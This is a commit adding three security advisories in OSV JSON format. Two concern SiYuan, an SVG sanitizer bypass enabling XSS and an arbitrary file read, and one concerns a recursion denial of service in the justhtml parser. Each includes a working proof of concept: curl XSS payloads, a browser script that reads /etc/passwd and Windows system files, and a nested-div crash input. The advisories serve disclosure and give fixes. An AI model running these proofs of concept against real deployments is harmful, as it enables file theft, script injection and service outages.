Skip to content

Commit d611e30

Browse files
1 parent 7023080 commit d611e30

3 files changed

Lines changed: 175 additions & 0 deletions

File tree

Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-4mx9-3c2h-hwhg",
4+
"modified": "2026-03-17T14:08:12Z",
5+
"published": "2026-03-17T14:08:11Z",
6+
"aliases": [],
7+
"summary": "SiYuan has a SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)",
8+
"details": "# SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)\n\n`SanitizeSVG` blocks `data:text/html` and `data:image/svg+xml` in href attributes but misses `data:text/xml` and `data:application/xml`. Both render SVG with `onload` JavaScript execution (confirmed in Chromium 136, other browsers untested).\n\n`/api/icon/getDynamicIcon` is unauthenticated and serves SVG as `Content-Type: image/svg+xml`. The `content` parameter (type=8) gets embedded into the SVG via `fmt.Sprintf` with no escaping. The sanitizer catches `data:text/html` but `data:text/xml` passes the blocklist -- only three MIME types are checked.\n\nThis is a click-through XSS: victim visits the crafted URL, sees an SVG with an injected link, clicks it. If SiYuan renders these icons via `<img>` tags in the frontend, links aren't interactive there -- the attack needs direct navigation to the endpoint URL or `<object>`/`<embed>` embedding.\n\n## Steps to reproduce\n\nAgainst SiYuan v3.6.0 (Docker):\n\n```sh\n# 1. data:text/xml bypass -- <a> element preserved with href intact\ncurl -s --get \"http://127.0.0.1:6806/api/icon/getDynamicIcon\" \\\n --data-urlencode 'type=8' \\\n --data-urlencode 'content=</text><a href=\"data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E\">click</a><text>' \\\n | grep -o '<a [^>]*>'\n# Output: <a href=\"data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E\">\n\n# 2. data:text/html is correctly blocked -- href stripped\ncurl -s --get \"http://127.0.0.1:6806/api/icon/getDynamicIcon\" \\\n --data-urlencode 'type=8' \\\n --data-urlencode 'content=</text><a href=\"data:text/html,<script>alert(1)</script>\">click</a><text>' \\\n | grep -o '<a [^>]*>'\n# Output: <a> (href removed)\n\n# 3. data:application/xml also bypasses\ncurl -s --get \"http://127.0.0.1:6806/api/icon/getDynamicIcon\" \\\n --data-urlencode 'type=8' \\\n --data-urlencode 'content=</text><a href=\"data:application/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(1)%27/%3E\">click</a><text>' \\\n | grep -o '<a [^>]*>'\n# Output: <a href=\"data:application/xml,...\"> (href preserved)\n```\n\nJS execution confirmed in Chromium 136 -- `data:text/xml` SVG `onload` fires and posts a message to the parent window via iframe test.\n\n## Vulnerable code\n\n`kernel/util/misc.go` lines 289-293:\n\n```go\nif strings.HasPrefix(val, \"data:\") {\n if strings.Contains(val, \"text/html\") || strings.Contains(val, \"image/svg+xml\") || strings.Contains(val, \"application/xhtml+xml\") {\n continue\n }\n}\n```\n\n`text/xml` and `application/xml` aren't in the list. Both serve SVG with JS execution.\n\n## Impact\n\nReflected XSS on an unauthenticated endpoint. Victim visits the crafted URL, then clicks the injected link in the SVG. No auth needed to craft the URL.\n\nDocker deployments where SiYuan is network-accessible are the clearest target -- the endpoint is reachable directly. In the Electron desktop app, impact depends on `nodeIntegration`/`contextIsolation` settings. Issue #15970 (\"XSS to RCE\") explored that path.\n\nThe deeper issue: the blocklist approach for data: URIs is fragile. `text/xml` and `application/xml` are the gap today, but other MIME types that render active content could surface. An allowlist of safe image types covers the known vectors and future MIME type additions.\n\n## Affected versions\n\nv3.6.0 (latest, confirmed). All versions since `SanitizeSVG` was added to fix CVE-2026-29183.\n\n## Suggested fix\n\nFlip the data: URI check to an allowlist -- only permit safe image types in href:\n\n```go\nif strings.HasPrefix(val, \"data:\") {\n safe := strings.HasPrefix(val, \"data:image/png\") ||\n strings.HasPrefix(val, \"data:image/jpeg\") ||\n strings.HasPrefix(val, \"data:image/gif\") ||\n strings.HasPrefix(val, \"data:image/webp\")\n if !safe {\n continue\n }\n}\n```\n\nIf you prefer extending the blocklist, add at minimum: `text/xml`, `application/xml`, `text/xsl`, and `multipart/` types.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Go",
19+
"name": "github.com/siyuan-note/siyuan"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"last_affected": "0.0.0-20260313024916-fd6526133bb3"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-4mx9-3c2h-hwhg"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/siyuan-note/siyuan"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-184",
49+
"CWE-79"
50+
],
51+
"severity": "CRITICAL",
52+
"github_reviewed": true,
53+
"github_reviewed_at": "2026-03-17T14:08:11Z",
54+
"nvd_published_at": null
55+
}
56+
}
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-fq2j-j8hc-8vw8",
4+
"modified": "2026-03-17T14:07:57Z",
5+
"published": "2026-03-17T14:07:57Z",
6+
"aliases": [],
7+
"summary": "SiYuan Vulnerable to Arbitrary File Read in Desktop Publish Service",
8+
"details": "### Summary\n\nIn SiYuan, `/api/lute/html2BlockDOM` on the desktop copies local files pointed to by `file://` links in pasted HTML into the workspace assets directory without validating paths against a sensitive-path list. Together with `GET /assets/*path`, which only requires authentication, a publish-service visitor can cause the desktop kernel to copy any readable sensitive file and then read it via GET, leading to exfiltration of sensitive files.\n\n### Details\n\n#### 1. Arbitrary local files copied into workspace\n\n- **Endpoint**: `POST /api/lute/html2BlockDOM`, protected only by `model.CheckAuth`; publish read-only role is not restricted.\n- **Behavior**: On desktop (`util.ContainerStd == model.Conf.System.Container`), local absolute paths from `<a href=\"file://...\">` in the HTML are copied to `{DataDir}/assets/`.\n- **Missing check**: The code does not call `util.IsSensitivePath(localPath)` before copying, so any readable file (e.g. `/etc/passwd`, `~/.ssh/id_rsa`) can be copied into assets.\n\n#### 2. Direct access to assets via GET\n\n- **Endpoint**: `GET /assets/*path` (`kernel/server/serve.go`), protected only by `model.CheckAuth`; no publish-scope or admin check.\n- **Behavior**: The path is resolved with `model.GetAssetAbsPath(\"assets\" + path)` and the file is served with `http.ServeFile`; any authenticated request (including publish visitors) can access existing asset files.\n- **Attack chain**: The visitor calls html2BlockDOM to copy a sensitive file into `data/assets/`, extracts `data-href=\"assets/xxx\"` from the returned DOM, then requests `GET /assets/xxx` to retrieve the file content.\n\n### PoC\n\n```javascript\n// Run in the browser devtools console while on the SiYuan publish service\n(async () => {\n try {\n // Paths below fall under util.IsSensitivePath prefixes (/etc, c:\\windows\\system32)\n const sensitiveFiles = [\n 'file:///etc/passwd',\n 'file:///etc/group',\n 'file:///C:/Windows/System32/drivers/etc/hosts',\n 'file:///C:/Windows/System32/drivers/etc/services',\n ];\n const dom = '<p>' + sensitiveFiles.map(f => `<a href=\"${f}\">x</a>`).join(' ') + '</p>';\n const r1 = await fetch('/api/lute/html2BlockDOM', {\n method: 'POST',\n headers: { 'Content-Type': 'application/json' },\n body: JSON.stringify({ dom }),\n credentials: 'same-origin',\n });\n const { data } = await r1.json();\n const paths = [...(data || '').matchAll(/data-href=\"(assets\\/[^\"]+)\"/g)].map(m => m[1]);\n for (const p of paths) {\n const r2 = await fetch('/' + p, { credentials: 'same-origin' });\n if (r2.ok) console.log('--- ' + p + ' ---\\n' + (await r2.text()));\n }\n } catch (_) {}\n})();\n```\n\n### Impact\n\nWith only normal authentication, an attacker can bypass intended directory restrictions and read any sensitive file that the process can read on the desktop user’s machine (e.g. system account data, network configuration, credential configs), compromising confidentiality of sensitive data and the runtime environment.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:H"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Go",
19+
"name": "github.com/siyuan-note/siyuan/kernel"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"last_affected": "0.0.0-20260313024916-fd6526133bb3"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-fq2j-j8hc-8vw8"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/siyuan-note/siyuan"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-200",
49+
"CWE-22",
50+
"CWE-284"
51+
],
52+
"severity": "CRITICAL",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-03-17T14:07:57Z",
55+
"nvd_published_at": null
56+
}
57+
}
Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-v7cf-c9rm-wm3j",
4+
"modified": "2026-03-17T14:07:38Z",
5+
"published": "2026-03-17T14:07:38Z",
6+
"aliases": [],
7+
"summary": "Uncontrolled recursion DoS in JustHTML() via deeply nested HTML",
8+
"details": "### Summary\n\njusthtml through 1.9.1 allows denial of service via deeply nested HTML. During parsing, `JustHTML.__init__()` always reaches `TreeBuilder.finish()`, which unconditionally calls `_populate_selectedcontent()`. That function recursively traverses the DOM via `_find_elements()` / `_find_element()` without a depth bound, allowing attacker-controlled deeply nested input to trigger an unhandled `RecursionError` on CPython. Depending on the host application's exception handling, this can abort parsing, fail requests, or terminate a worker/process.\n\n### Details\n\n`TreeBuilder.finish()` ([`treebuilder.py#L476`](https://github.com/EmilStenstrom/justhtml/blob/a866b6077770d9ec4cb6b6f9bfe7c918f98455e4/src/justhtml/treebuilder.py#L476)) unconditionally calls `_populate_selectedcontent(self.document)` at [line 494](https://github.com/EmilStenstrom/justhtml/blob/a866b6077770d9ec4cb6b6f9bfe7c918f98455e4/src/justhtml/treebuilder.py#L494). `_populate_selectedcontent()` ([`treebuilder.py#L1243`](https://github.com/EmilStenstrom/justhtml/blob/a866b6077770d9ec4cb6b6f9bfe7c918f98455e4/src/justhtml/treebuilder.py#L1243)) calls `_find_elements()` ([`treebuilder.py#L1280`](https://github.com/EmilStenstrom/justhtml/blob/a866b6077770d9ec4cb6b6f9bfe7c918f98455e4/src/justhtml/treebuilder.py#L1280)) to recursively search the DOM tree for `<select>` elements:\n\n```python\ndef _find_elements(self, node: Any, name: str, result: list[Any]) -> None:\n \"\"\"Recursively find all elements with given name.\"\"\"\n if node.name == name:\n result.append(node)\n if node.has_child_nodes():\n for child in node.children:\n self._find_elements(child, name, result) # recursive call\n```\n\nWhen the DOM tree depth exceeds CPython's default recursion limit (1000), this raises an unhandled `RecursionError`. The full call path is:\n\n`JustHTML(html)` → `tokenizer.run()` → `tree_builder.finish()` → `_populate_selectedcontent(document)` → `_find_elements(root, \"select\", selects)` (recursive)\n\nDeeply nested DOM trees can be produced by nesting `<div>` tags ~1000 levels deep. On CPython with the default recursion limit, approximately 11 KB of `<div>` nesting is sufficient to trigger the error. The exact depth threshold is environment-dependent (CPython version, recursion limit setting, call stack depth at invocation).\n\nAdditional recursive functions are affected on already-parsed deep trees:\n- `Node.clone_node(deep=True)` ([`node.py#L523`](https://github.com/EmilStenstrom/justhtml/blob/a866b6077770d9ec4cb6b6f9bfe7c918f98455e4/src/justhtml/node.py#L523)) — called during sanitization\n- `_node_to_html()` ([`serialize.py#L580`](https://github.com/EmilStenstrom/justhtml/blob/a866b6077770d9ec4cb6b6f9bfe7c918f98455e4/src/justhtml/serialize.py#L580)) — used by `to_html(pretty=True)`\n- `_to_markdown_walk()` ([`node.py#L817`](https://github.com/EmilStenstrom/justhtml/blob/a866b6077770d9ec4cb6b6f9bfe7c918f98455e4/src/justhtml/node.py#L817)) — used by `to_markdown()`\n\nNote: the library already uses iterative traversal in several comparable functions (e.g., `_node_to_html_compact` at [`serialize.py#L197`](https://github.com/EmilStenstrom/justhtml/blob/a866b6077770d9ec4cb6b6f9bfe7c918f98455e4/src/justhtml/serialize.py#L197), `_to_text_collect` at [`node.py#L161`](https://github.com/EmilStenstrom/justhtml/blob/a866b6077770d9ec4cb6b6f9bfe7c918f98455e4/src/justhtml/node.py#L161), `_is_blocky_element` at [`serialize.py#L405`](https://github.com/EmilStenstrom/justhtml/blob/a866b6077770d9ec4cb6b6f9bfe7c918f98455e4/src/justhtml/serialize.py#L405), `apply_to_children` at [`transforms.py#L1642`](https://github.com/EmilStenstrom/justhtml/blob/a866b6077770d9ec4cb6b6f9bfe7c918f98455e4/src/justhtml/transforms.py#L1642)), demonstrating the correct pattern.\n\n### PoC\n\n```python\nfrom justhtml import JustHTML\n\nhtml = \"<div>\" * 1000 + \"x\" + \"</div>\" * 1000\ndoc = JustHTML(html) # raises RecursionError\n```\n\nTest environment: CPython 3.14.3, macOS ARM64 (Apple Silicon), justhtml 1.9.1, default recursion limit (1000)\n\n| Input | Size | Result |\n|-------|------|--------|\n| `<div>` × 500 | 5,501 bytes | OK |\n| `<div>` × 800 | 8,801 bytes | OK |\n| `<div>` × 1000 | 11,001 bytes | RecursionError |\n\nThe error occurs with both `sanitize=True` (default) and `sanitize=False`.\n\n### Impact\n\nAn attacker who can supply HTML for parsing can trigger an unhandled `RecursionError` during `JustHTML()` construction. The error is triggered during construction and is not avoided by `justhtml` configuration alone; mitigating it requires host-application exception handling or input constraints. Depending on the host application's exception handling, this can abort parsing, fail requests, or terminate a worker/process.\n\n### Suggested Fix\n\nConvert the recursive tree traversal functions to iterative implementations using an explicit stack. Example for `_find_elements`:\n\n```python\ndef _find_elements(self, node: Any, name: str, result: list[Any]) -> None:\n stack = [node]\n while stack:\n current = stack.pop()\n if current.name == name:\n result.append(current)\n if current.has_child_nodes():\n stack.extend(reversed(current.children))\n```\n\nThe same conversion should be applied to `_find_element`, `clone_node(deep=True)`, `_node_to_html()`, and `_to_markdown_walk()`.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V4",
12+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "PyPI",
19+
"name": "justhtml"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "1.10.0"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "<= 1.9.1"
36+
}
37+
}
38+
],
39+
"references": [
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/EmilStenstrom/justhtml/security/advisories/GHSA-v7cf-c9rm-wm3j"
43+
},
44+
{
45+
"type": "PACKAGE",
46+
"url": "https://github.com/EmilStenstrom/justhtml"
47+
},
48+
{
49+
"type": "WEB",
50+
"url": "https://github.com/EmilStenstrom/justhtml/releases/tag/v1.10.0"
51+
}
52+
],
53+
"database_specific": {
54+
"cwe_ids": [
55+
"CWE-674"
56+
],
57+
"severity": "HIGH",
58+
"github_reviewed": true,
59+
"github_reviewed_at": "2026-03-17T14:07:38Z",
60+
"nvd_published_at": null
61+
}
62+
}

0 commit comments

Comments
 (0)